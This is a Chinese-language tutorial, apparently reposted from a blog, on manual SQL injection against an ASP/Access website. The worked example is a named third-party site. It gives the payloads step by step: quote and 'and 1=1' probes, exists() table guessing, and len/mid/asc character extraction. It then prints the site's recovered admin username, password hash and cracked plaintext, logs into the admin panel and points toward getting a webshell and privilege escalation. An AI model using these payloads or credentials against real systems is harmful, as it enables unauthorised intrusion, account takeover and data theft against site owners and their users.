2012最新网站手工注入详解教程

来源:互联网 发布:云计算应用的发展方向 编辑:程序博客网 时间:2024/04/30 16:06
想起 苦学技术的梯子真是感慨万千,别人在背英语句子,而卧却在背数据库语句,同样都是英文 ,可为啥咱英语成绩还是不及格-- 
 
言归正传,现在sql注入工具可谓层出不穷,但是工具毕竟都是人写的,总会有不合适的地方,所以学会手工注入还是很重要的,今天的教程就给大家说说手工注入,新手一起来看,老鸟直接飞过好了。 
 
动态脚本语言(例 asp php aspx jsp等),总会与数据库关联,带入相应的变量来查询指定数据,当这种查询被我们控制时,也就形成了注入 
 
比如下面这个链接  
 
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 
 
很正常的URL,提交这个URL,假设服务器进行像select * from news id=''ID的查询语句(news为表名,ID是提交的参数),如果我们提交select * from news id=1235 and user>0这样的语句,肯定是无法执行 ,就会报错并给与相应的错误提示 
 
下面我们来看下  看到了 爆错了吧 
 
接下来就是实战了,判断是否是注入的,可以再参数后面加一个单引号',如果是注入的,把语句带入数据库之后,语句中的单引号没有闭合,程序就会报错,根据报错的信息可以判断数据库类型,本次教程讲述acess注入,返回的信息有ODBC Microsoft Access Driver 这个时,就可以判定为acess数据库。 
 
注意一下,也可以用分号;或者--来让目标报错,这两个分别是mssql中的分离语句和注释语句的符号,在acess中会因为语句不通报错,当然,输入的时候必须要在中文状态下哈 
 
以上是符号判断,还可以用经典的 and 1=1  and 1=2注意一下 and的前面有个空格,通过这样的构造来报错,and在逻辑语言为 和 的意思,前后两语句,都为正确,则为真,返回正常,and前后有一个错,则为假,就会报错 
 
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235%20and%201=1  返回正常  
 
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and 1=2  报错了 
 
如果遇到参数像id=hacker这样的非数字,我们称之为字符型注入,这时候我们就用前面所说的去试,结果你会发现不行的,因为字符串类型不像数字型直接取之,需要用单引号包含起来,让他报错  'and' '1'=1 
'and' '1'=2 这样的 
这里没有准备字符串的,不做详细演示了,试了下数字的用这样不行哈 
 
教程继续....... 
 
接下来我们猜解表段数据,提交 and exists (select * from admin)返回正常,证明存在admin这个表段,提交 and exists (select * from admin1)报错了,就证明不存在admin1这个表段 
 
为了让大家更明白,我解释下每句的意思 
 
exists()作用是:如果是返回结果集,就为真,否则为假 
*是通配符,代表任意字符,即表示存在数据 
select * from admin表示:在admin表段中存在数据 ,即可知道有无admin表段,这个直接决定了exists()真假,就可以作出相应的判断了 
 
所以平时要多搜集些常用的表名,像我们在入侵是时候,一般都是找后台,因为权限。我们继续猜解admin下的字段 
 
把*替换为count(username)   
http://www.tri-cel.com/xwzx_jtdt_zzy.asp?id=1235 and exists (select count(username) from admin) 
刚才填写的出了点问题,菜鸟哈,见谅。返回了正常页面,说明username字段存在 
 
提交 and exists (select count(username1) from admin)返回错误,说明username1字段不存在 
 
解释下 
count():返回指定的条件行数,存在字段,返回1,exists()为真,返回正常页面。不存在字段,返回0,程序报错。 
 
接着判断数据长度,用到如下语句: 
 
and (select top 1 len(username)from admin)>12 
返回正常,则代表username第一行长度大于12 
and (select top 1 len(username)from admin)>13  
返回错误,就代表username第一行长度不大于13,即小于等于。 
 
所以可以通过更改后面的数字确定长度 
and (select top 1 len(username)from admin)>数字 
 
被叫成username第一行长度即为13 
 
解释下 
 
len()这个函数是判断数据长度 
top 1表示第一行内容,同理猜解第二行 即top 2 
 
 
接下来就是判断内容了,我们用 mid(列名,n,1)来截取第n位字符,再用asc()函数转化为ASCII码 
 
and (select top 1 asc(mid(username,1,1))from admin)>97 
提交这样的信息,返回错误,就代表第一位ASCII码小于等于97 
and (select top 1 asc(mid(username,1,1))from admin)>96 
提交这样的信息,返回正确,就代表第一位ASCII码大于96 
 
教程中网站的ASCII码即97 
 
再用ascii转换工具把ASCII码转换为字符 抱歉工具有问题,我汗  没准备好 稍等 
 
教程继续  ASCII  97  转换  >>  a 
 
这里97转化为a,即第一位是a。 
同理判断出后面的字符 
 
and (select top 1 asc(mid(username,2,1))from admin)>97 
根据操作我们判断出来了 
ASCII  100  转换  >>  d 
接下来的我就不一一操作了 我这里已经猜解好了整个字段 的第一行  
我有找了下 发现了password表段 这里保存的是密码,接下来就是找后台了 
 
[password] : 01624cf92e696e77 
[username] : administrator 
 
01624cf92e696e77对于这样的密码有的朋友可能会直接去登陆后台,发现密码错误,实际上是使用了一种叫做MD5加密的方式,由于是不可逆的(具体自己百度),我们只能选择暴力破解或者去相关的网站查询,当然,如果管理员太BT,哪里都弄不到的,就要自己另辟蹊径了 
 
我这里推荐三个MD5解密网站 
 
www.cmd5.com 
www.md5.org.cn 
www.md5.com.cn 
 
查到了明文 
Md5:01624cf92e696e77 
Result: zxtx007 
 
我们在弄出后台 我这里用的明小子,其实怎么弄都差不多....出来后台就可以 
 
http://www.tri-cel.com/admin/index.asp 
这个就是后台登陆的页面了 我们用刚才注入得到的东西登陆下 
 
登陆成功 
 
接下来的就是拿webshell和提权 
 
 
原创粉丝点击